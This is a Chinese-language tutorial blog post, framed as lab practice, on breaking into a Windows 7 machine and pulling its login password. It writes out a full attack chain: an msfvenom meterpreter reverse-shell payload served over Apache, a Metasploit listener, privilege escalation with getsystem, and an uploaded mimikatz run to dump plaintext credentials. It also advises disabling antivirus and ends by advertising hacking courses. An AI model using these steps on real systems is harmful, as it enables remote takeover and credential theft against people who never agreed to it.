超详细实战演示破解windows电脑登录密码,并初步认识hash加密
本文仅用于讨论网络安全技术,以保护信息安全为目的,请勿用于非法用途!
什么是hash(哈希)文件?
Hash,就是被一种特殊的加密方法加密过的一段特殊字符文件。常见的hash加密有:md5、sha-512,sha-256、sha1等。
Hash算法理论上是不可逆,也就说对hash算法无法将字符串解密成明文。但是我们可以通过碰撞的方法进行求解,通过不可逆的单向hash函数计算出它的hash值,然后与之前的hash进行比较,就能判断是否解密。
![超详细实战演示破解windows电脑登录密码,并初步认识hash加密](http://www.isolves.com/d/file/p/2020/03-01/90119fdecee2d9cc611a8b79b6a53126.jpg)
从windows中获取SAM的hash
Windows系统的SAM文件,就是被二次加密过的hash密文字符文件!这个SAM文件一般存在windows的系统目录c:windowssystem32config中。如果是xp系统,不仅在上面的目录中存在,而且还在c:windowsrepair目录下存在备份的SAM文件。
注意,SAM文件不是单纯的hash文件,它是被二次加密过的特殊字符文件,必须将它解密成正常的hash文件,才能继续解密成明文密码!
使用msfvenom生成windows有效载荷,kali终端下输入:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.206 LPORT=8888 -f exe > test.exe
LHOST是你kali的桥接网络IP;LPORT随便设置,只要不和其他冲突即可。
![超详细实战演示破解windows电脑登录密码,并初步认识hash加密](http://www.isolves.com/d/file/p/2020/03-01/5388cfc371cd6e053fa177f797671f0d.jpg)
将主目录下生成的可执行载荷放到kali的/var/www/html中,并且删除html目录下.html为后缀的文件(没有就不用管!)
![超详细实战演示破解windows电脑登录密码,并初步认识hash加密](http://www.isolves.com/d/file/p/2020/03-01/4a23672c407ff77feb20a62454c0899e.jpg)
开启kali的Apache2服务,在终端中输入: service apache2 start
Apache2可以提供基本的web服务,也就是说远程的靶机可以访问kali的ip就可以自动访问kali的/va/www/html/下的文件,进行访问下载!Apache2此时就相当于一个小型服务器!
![超详细实战演示破解windows电脑登录密码,并初步认识hash加密](http://www.isolves.com/d/file/p/2020/03-01/3c15207a843bed836dc8dfd8035a25e3.jpg)
win7靶机(桥接网络)浏览器输入:192.168.31.206,然后选中test.exe进行下载到桌面。
![超详细实战演示破解windows电脑登录密码,并初步认识hash加密](http://www.isolves.com/d/file/p/2020/03-01/06919ac97fd3195f9942b571418a3070.jpg)
kali,启动metasploit工具,并设置监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.31.206
set lport 8888
run
![超详细实战演示破解windows电脑登录密码,并初步认识hash加密](http://www.isolves.com/d/file/p/2020/03-01/182ac5fd9c955d4c7db089e069b69275.jpg)
既然已经设置了监听,我们直接去win7模拟运行有效载荷test.exe,然后就会看到kali的metasploit就会收到会话!(这里建议将win7的360关掉)
![超详细实战演示破解windows电脑登录密码,并初步认识hash加密](http://www.isolves.com/d/file/p/2020/03-01/bf770218493a38faf5caa951fc2ea801.jpg)
我们已经获得了win7靶机的meterpreter会话,现在我们可以通过一个meterpreter命令"hashdump"就可以直接下载win7靶机的hash文件,这里获取的不是被二次加密的SAM文件,而是自动获取win7被解密后的SAM文件形成的hash值!
但是我们首先需要看下当前获得的会话是什么权限?输入:getuid
![超详细实战演示破解windows电脑登录密码,并初步认识hash加密](http://www.isolves.com/d/file/p/2020/03-01/93f1a431d76a75fe36d88245110f30ff.jpg)
管理员权限,不是system权限,无法提取hash值,我们第一步就需要直接输入"getsystem"来使用meterpreter默认的技术进行win7提权!看看能不能变成system权限。执行完毕,输入getuid查看,已经是system权限!Bingo!
![超详细实战演示破解windows电脑登录密码,并初步认识hash加密](http://www.isolves.com/d/file/p/2020/03-01/501ab6d3249cfa86f5b12998efd400fd.jpg)
知识补充:如果输入getsystem无法提权,这就需要其他的利用模块绕过win7的提权,这里暂时不讲,以后会讲解!
我们输入:hashdump,看看是否得到hash值?
![超详细实战演示破解windows电脑登录密码,并初步认识hash加密](http://www.isolves.com/d/file/p/2020/03-01/1297510db6c8a6db6afd48dcd6f4a7a6.jpg)
很不幸,没有得到我们想要的hash值,原因是部分win7系统拒绝metasploit进行访问提取hash,请记住,这是一种方法,有的系统是可以直接进行提取hash值的。我们继续试探!
尝试使用mimikatz
既然直接输入hashdump不行,我们试试上传mimikatz到win7靶机中进行远程抓取!
首先将本课共享文件夹中的"mimikatz压缩包"下载到kali主目录下。关注小白嘿客,回复“想学”获取!然后在meterpreter中将解压后Win32文件夹中的文件上传到win7靶机的c盘下。
上传命令是:upload Win32 c:\
![超详细实战演示破解windows电脑登录密码,并初步认识hash加密](http://www.isolves.com/d/file/p/2020/03-01/7901ac235adf3f7020b78674e623bd5b.jpg)
然后在meterpreter中输入"shell"进入win7靶机的cmd终端模拟器。
如果出现乱码,输入chcp 65001即可解决乱码。
![超详细实战演示破解windows电脑登录密码,并初步认识hash加密](http://www.isolves.com/d/file/p/2020/03-01/9488d0d32aa9f978b66d17d587ae7bb9.jpg)
这里获得的cmd显示在我们kali的桌面中,我们应该切换到c盘根目录下(我们上面上传过去的文件就在这里!),你发现cmd此时就在c:下,然后输入dir查看验证下远程的win7靶机c盘是否有我们上传上去的mimikatz!
![超详细实战演示破解windows电脑登录密码,并初步认识hash加密](http://www.isolves.com/d/file/p/2020/03-01/786b03318364331d35b87d4283143846.jpg)
在cmd中输入:mimikatz.exe
远程启动我们的解密工具。这里需要提醒,如果之前的meterpreter会话断开过,需要重现建立,而且要保证已经使用meterpreter的getsystem命令进行了本地对远程win7靶机的提权!否则mimikatz.exe可能无法运行!
![超详细实战演示破解windows电脑登录密码,并初步认识hash加密](http://www.isolves.com/d/file/p/2020/03-01/b5136416e02883ca241c8314e2377573.jpg)
然后输入:privilege::debug,显示20 ok即可完成提权!
![超详细实战演示破解windows电脑登录密码,并初步认识hash加密](http://www.isolves.com/d/file/p/2020/03-01/15b131a464ad8120583efa4dee1048ef.jpg)
然后输入:sekurlsa::logonPasswords,开始远程抓取win7靶机的hash值!
你会很开心的!看下图!
![超详细实战演示破解windows电脑登录密码,并初步认识hash加密](http://www.isolves.com/d/file/p/2020/03-01/3ded7d3c0c95537728726125e57c8e2d.jpg)
理论上会将win7靶机的所有用户以及密码都打印在meterpreter会话中的模拟cmd窗口中!我们这里只关注Administrator这个管理员用户!你设置发现SHA1这种hash值根本就不用解密,红色的框中已经自动解密出密码123456,用户Administrator了!
到此,我们利用meterpreter会话上传mimikatz到win7靶机上,然后在kali中实现操控靶机的cmd,成功破解出了明文口令!根本就不需要拿到hash值,当然如果拿不到明文密码,有hash值也可以直接进行破解。
![超详细实战演示破解windows电脑登录密码,并初步认识hash加密](http://www.isolves.com/d/file/p/2020/03-01/dd1eb43c4f4ebbac04c1c9c9a32e9e13.jpg)
我们知道,mimikatz容易被杀毒软件查杀,也就是说我们本课将这个mimikatz上传到win7靶机中后,如果有杀毒软件,那是根本无法直接像本课一样获取远程靶机的hash明文密码的。所以我们需要另外一种技术,通过将远程win7靶机的lsass.exe进程(该进程使用windows的用户SAM文件)保存成一个dmp文件,然后下载到我们kali本地,直接在我们本地主机上使用mimikatz进行解密!
下节课,我们将探讨规避360进行远程破解、甚至是使用john直接解密SAM加密文件!更多精彩,关注小白嘿客,私信获取hac技术课程!欢迎在下方评论区留言讨论!